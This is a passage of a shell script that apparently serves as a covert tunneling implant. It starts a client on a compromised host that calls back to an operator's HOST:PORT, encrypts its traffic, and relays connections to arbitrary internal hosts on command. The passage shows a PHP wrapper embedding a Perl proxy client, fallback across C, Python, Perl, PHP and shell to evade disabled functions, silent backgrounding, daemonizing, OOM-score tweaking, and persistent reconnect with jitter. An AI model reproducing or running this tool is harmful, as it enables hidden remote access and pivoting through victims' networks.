foreach (array('python3', 'python', '/usr/bin/python3', '/usr/bin/python') as \$py) {
\$proc = @proc_open("\$py - \$args", \$desc, \$pipes);
if (is_resource(\$proc)) {
fwrite(\$pipes[0], \$code);
fclose(\$pipes[0]);
stream_get_contents(\$pipes[1]);
fclose(\$pipes[1]);
fclose(\$pipes[2]);
\$ret = proc_close(\$proc);
return true;
}
}
return false;
},
'shell_exec' => function(\$code, \$args) {
if (!function_exists('shell_exec')) return false;
\$tmp = tempnam(sys_get_temp_dir(), 'ipy_');
file_put_contents(\$tmp, \$code);
chmod(\$tmp, 0755);
@shell_exec("python3 \$tmp \$args > /dev/null 2>&1 &");
@shell_exec("python \$tmp \$args > /dev/null 2>&1 &");
return true;
},
'exec' => function(\$code, \$args) {
if (!function_exists('exec')) return false;
\$tmp = tempnam(sys_get_temp_dir(), 'ipy_');
file_put_contents(\$tmp, \$code);
chmod(\$tmp, 0755);
@exec("python3 \$tmp \$args > /dev/null 2>&1 &");
return true;
},
'popen' => function(\$code, \$args) {
if (!function_exists('popen')) return false;
\$tmp = tempnam(sys_get_temp_dir(), 'ipy_');
file_put_contents(\$tmp, \$code);
chmod(\$tmp, 0755);
\$h = @popen("python3 \$tmp \$args", 'r');
if (\$h) { pclose(\$h); return true; }
return false;
}
);
foreach (\$methods as \$name => \$func) {
if (\$func(\$code, \$args)) return \$name;
}
return false;
}
\$result = try_exec(\$python_code, "$host $port ${name}_phppy");
echo \$result ? "OK:\$result" : "FAIL";
PHPEOF
log_info "Running Python via PHP wrapper..."
result=$(php "$wrapper" 2>/dev/null)
rm -f "$wrapper"
if echo "$result" | grep -q "^OK"; then
log_ok "PHP wrapper started Python: $result"
# Wait for the background process
sleep 300
return 0
fi
log_error "PHP wrapper failed: $result"
return 1
}
run_php_perl_client() {
host="$1"
port="$2"
name="$3"
if ! command -v php >/dev/null 2>&1; then
log_error "PHP not available"
return 1
fi
compile_dir=$(get_compile_dir)
wrapper="$compile_dir/php_pl_wrapper_$$.php"
cat > "$wrapper" << 'PHPEOF'
<?php
error_reporting(0);
set_time_limit(0);
$perl_code = <<<'PERL'
use strict;use warnings;use IO::Socket::INET;use IO::Select;
$|=1;$SIG{PIPE}='IGNORE';
my($h,$p,$n)=@ARGV;exit unless$h&&$p;
my@k=map{int(rand(256))}1..50;my%st;my$run=1;my$last=time;
sub rc4{my$d=shift;my@d=unpack('C*',$d);my$nn=@d;return''if!$nn;
my@s=0..255;my$j=0;$d[$_]^=$k[$_%50]for 0..$nn-1;
for(0..255){$j=($j+$s[$_]+$k[$_%50])&255;@s[$_,$j]=@s[$j,$_]}
my($ii,$jj)=(0,0);
for my$x(0..$nn-1){$ii=($ii+1)&255;$jj=($jj+$s[$ii])&255;@s[$ii,$jj]=@s[$jj,$ii];$d[$x]^=$s[($s[$ii]+$s[$jj])&255]}
$d[$_]^=$k[$_%50]for 0..$nn-1;pack('C*',@d)}
my$tun=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>'tcp',Timeout=>30)or exit;
$tun->setsockopt(6,1,1);
my@info=(0xFF,0xFF,(0)x48);my@nb=unpack('C*',substr($n||'perl',0,11));$info[4+$_]=$nb[$_]for 0..$#nb;
syswrite($tun,pack('C*',@k).rc4(pack('C*',@info)));
$tun->blocking(0);$last=time;
my$sel=IO::Select->new($tun);my$rbuf='';my$lasthb=time;
while($run){
if(time-$lasthb>=15){syswrite($tun,rc4(pack('CCC',0,0,0)));$lasthb=time;last if time-$last>60}
my@r=$sel->can_read(1);
for my$fh(@r){
if($fh==$tun){
my$d;my$n=sysread($tun,$d,262144);last if!$n;$rbuf.=$d;$last=time;
while(length($rbuf)>=4){
my@hdr=unpack('C4',substr($rbuf,0,4));my$dec=rc4(pack('C4',@hdr));@hdr=unpack('C4',$dec);
my($cmd,$sid,$dlen)=($hdr[0],$hdr[1],($hdr[2]<<8)|$hdr[3]);
last if length($rbuf)<4+$dlen;my$pb=substr($rbuf,4,$dlen);$pb=rc4($pb)if$dlen>0;substr($rbuf,0,4+$dlen)='';
if($cmd==0&&$sid>0){
my@p=unpack('C*',$pb);my($host,$port)=('',0);
if($p[0]==1&&@p>=7){$host=join('.',@p[1..4]);$port=($p[5]<<8)|$p[6]}
elsif($p[0]==3&&@p>=4){my$hl=$p[1];$host=pack('C*',@p[2..1+$hl])if@p>=4+$hl;$port=($p[2+$hl]<<8)|$p[3+$hl]if$host}
my$status=5;
if($host&&$port){my$s=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>'tcp',Timeout=>10);if($s){$s->blocking(0);$st{$sid}=$s;$sel->add($s);$status=0}}
syswrite($tun,rc4(pack('CCC',$sid,0,1)).rc4(pack('C',$status)))
}elsif($cmd==1&&$sid>0&&$st{$sid}){syswrite($st{$sid},$pb)}
elsif($sid>0&&$dlen==0&&$st{$sid}){$sel->remove($st{$sid});$st{$sid}->close;delete$st{$sid}}
}
}else{
my($sid)=grep{$st{$_}&&$st{$_}==$fh}keys%st;next unless$sid;
my$d;my$n=sysread($fh,$d,262144);
if(!$n){$sel->remove($fh);$fh->close;delete$st{$sid};syswrite($tun,rc4(pack('CCC',$sid,0,0)));next}
syswrite($tun,rc4(pack('Cnn',$sid,length($d))).rc4($d))
}
}
}
PERL;
function run_perl($code, $args) {
if (function_exists('proc_open')) {
$desc = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
foreach (array('perl', '/usr/bin/perl') as $pl) {
$proc = @proc_open("$pl - $args", $desc, $pipes);
if (is_resource($proc)) {
fwrite($pipes[0], $code);
fclose($pipes[0]);
stream_get_contents($pipes[1]);
fclose($pipes[1]); fclose($pipes[2]);
proc_close($proc);
return true;
}
}
}
if (function_exists('shell_exec')) {
$tmp = tempnam(sys_get_temp_dir(), 'ipl_');
file_put_contents($tmp, $code);
@shell_exec("perl $tmp $args > /dev/null 2>&1 &");
return true;
}
return false;
}
echo run_perl($perl_code, "HOST_PH PORT_PH NAME_PH") ? "OK" : "FAIL";
PHPEOF
sed -i "s/HOST_PH/$host/g; s/PORT_PH/$port/g; s/NAME_PH/${name}_phppl/g" "$wrapper"
log_info "Running Perl via PHP wrapper..."
result=$(php "$wrapper" 2>/dev/null)
rm -f "$wrapper"
if [ "$result" = "OK" ]; then
log_ok "PHP wrapper started Perl"
sleep 300
return 0
fi
return 1
}
# ═══════════════════════════════════════════════════════════════════════════════════
# FALLBACK RUNNER
# ═══════════════════════════════════════════════════════════════════════════════════
run_with_fallback() {
host="$1"
port="$2"
name="$3"
if [ -n "$FORCE_METHOD" ]; then
log_info "Forced method: $FORCE_METHOD"
case "$FORCE_METHOD" in
c) run_c_client "$host" "$port" "$name" ;;
python3) run_python_client "$host" "$port" "$name" python3 ;;
python) run_python_client "$host" "$port" "$name" python ;;
python2) run_python_client "$host" "$port" "$name" python2 ;;
perl) run_perl_client "$host" "$port" "$name" ;;
shell) run_shell_client "$host" "$port" "$name" ;;
php_python) run_php_python_client "$host" "$port" "$name" ;;
php_perl) run_php_perl_client "$host" "$port" "$name" ;;
*) log_error "Unknown method: $FORCE_METHOD"; return 1 ;;
esac
return $?
fi
# Try methods in order of preference
methods="c python3 python perl php_python php_perl shell"
for method in $methods; do
tries=0
while [ $tries -lt $TRIES_PER_METHOD ]; do
log_info "Trying method: $method (attempt $((tries + 1))/$TRIES_PER_METHOD)"
case "$method" in
c)
if command -v gcc >/dev/null 2>&1; then
run_c_client "$host" "$port" "$name" && return 0
fi
;;
python3)
if command -v python3 >/dev/null 2>&1; then
run_python_client "$host" "$port" "$name" python3 && return 0
fi
;;
python)
if command -v python >/dev/null 2>&1; then
run_python_client "$host" "$port" "$name" python && return 0
fi
;;
perl)
if command -v perl >/dev/null 2>&1; then
run_perl_client "$host" "$port" "$name" && return 0
fi
;;
php_python)
if command -v php >/dev/null 2>&1; then
run_php_python_client "$host" "$port" "$name" && return 0
fi
;;
php_perl)
if command -v php >/dev/null 2>&1; then
run_php_perl_client "$host" "$port" "$name" && return 0
fi
;;
shell)
run_shell_client "$host" "$port" "$name" && return 0
;;
esac
tries=$((tries + 1))
[ $tries -lt $TRIES_PER_METHOD ] && sleep 1
done
done
return 1
}
# ═══════════════════════════════════════════════════════════════════════════════════
# MULTI-MODE: Run several clients simultaneously
# ═══════════════════════════════════════════════════════════════════════════════════
run_multi_mode() {
host="$1"
port="$2"
name="$3"
count="$4"
log_info "MULTI MODE: Starting $count clients simultaneously"
# Determine available methods
available=""
command -v gcc >/dev/null 2>&1 && available="$available c"
command -v python3 >/dev/null 2>&1 && available="$available python3"
command -v python >/dev/null 2>&1 && available="$available python"
command -v perl >/dev/null 2>&1 && available="$available perl"
available="$available shell"
log_info "Available methods:$available"
pids=""
idx=0
for method in $available; do
[ $idx -ge $count ] && break
client_name="${name}_${method}_${idx}"
log_info "Starting client $idx: $method as $client_name"
(
while true; do
case "$method" in
c) run_c_client "$host" "$port" "$client_name" ;;
python3) run_python_client "$host" "$port" "$client_name" python3 ;;
python) run_python_client "$host" "$port" "$client_name" python ;;
perl) run_perl_client "$host" "$port" "$client_name" ;;
shell) run_shell_client "$host" "$port" "$client_name" ;;
esac
log_warn "Client $client_name disconnected, reconnecting..."
sleep 5
done
) &
pids="$pids $!"
idx=$((idx + 1))
sleep 1
done
log_ok "Started $idx clients: PIDs =$pids"
# Wait for all children
trap 'kill $pids 2>/dev/null; exit 0' INT TERM
# Monitor loop
while true; do
sleep 10
# Check if any child died
for pid in $pids; do
if ! kill -0 "$pid" 2>/dev/null; then
log_warn "Client $pid died"
fi
done
done
}
# ═══════════════════════════════════════════════════════════════════════════════════
# MAIN
# ═══════════════════════════════════════════════════════════════════════════════════
main() {
server=""
name="${HOSTNAME:-$(hostname 2>/dev/null || echo client)}"
background=0
DEBUG=0
while [ $# -gt 0 ]; do
case "$1" in
-n) shift; name="$1" ;;
-m) shift; FORCE_METHOD="$1" ;;
-M) MULTI_MODE=1 ;;
-c) shift; MULTI_COUNT="$1" ;;
-b) background=1; QUIET=1 ;;
-q) QUIET=1 ;;
-d) DEBUG=1 ;;
-h|--help) show_help; exit 0 ;;
-*) ;;
*) [ -z "$server" ] && server="$1" ;;
esac
shift
done
[ -z "$server" ] && { show_help; exit 1; }
host=$(echo "$server" | cut -d: -f1)
port=$(echo "$server" | cut -d: -f2)
[ -z "$host" ] || [ -z "$port" ] && { echo "Error: Format HOST:PORT"; exit 1; }
# Background mode
if [ "$background" = "1" ]; then
if [ "$MULTI_MODE" = "1" ]; then
daemonize "$server" -n "$name" -q -M -c "$MULTI_COUNT"
else
daemonize "$server" -n "$name" -q
fi
fi
# System setup
trap '' HUP PIPE
trap 'cleanup; exit 0' TERM INT
check_ulimits
set_oom_score
create_pidfile "$name"
wait_for_network || true
print_banner
log_info "Version: $VERSION"
log_info "Server: $host:$port"
log_info "Name: $name"
log_info "Methods: $(get_methods)"
[ "$MULTI_MODE" = "1" ] && log_info "MULTI MODE: $MULTI_COUNT clients"
# MULTI MODE
if [ "$MULTI_MODE" = "1" ]; then
run_multi_mode "$host" "$port" "$name" "$MULTI_COUNT"
exit 0
fi
# SINGLE MODE with reconnect
restart=0
delay=$RECONNECT_MIN
while [ $restart -lt $MAX_RESTART ]; do
t0=$(date +%s)
run_with_fallback "$host" "$port" "$name"
runtime=$(($(date +%s) - t0))
restart=$((restart + 1))
[ $runtime -gt 300 ] && delay=$RECONNECT_MIN
jitter
log_warn "Disconnected (${runtime}s). Reconnecting in ${delay}s... (restart $restart)"
sleep $delay
delay=$((delay * 2))
[ $delay -gt $RECONNECT_MAX ] && delay=$RECONNECT_MAX
done
}
main "$@"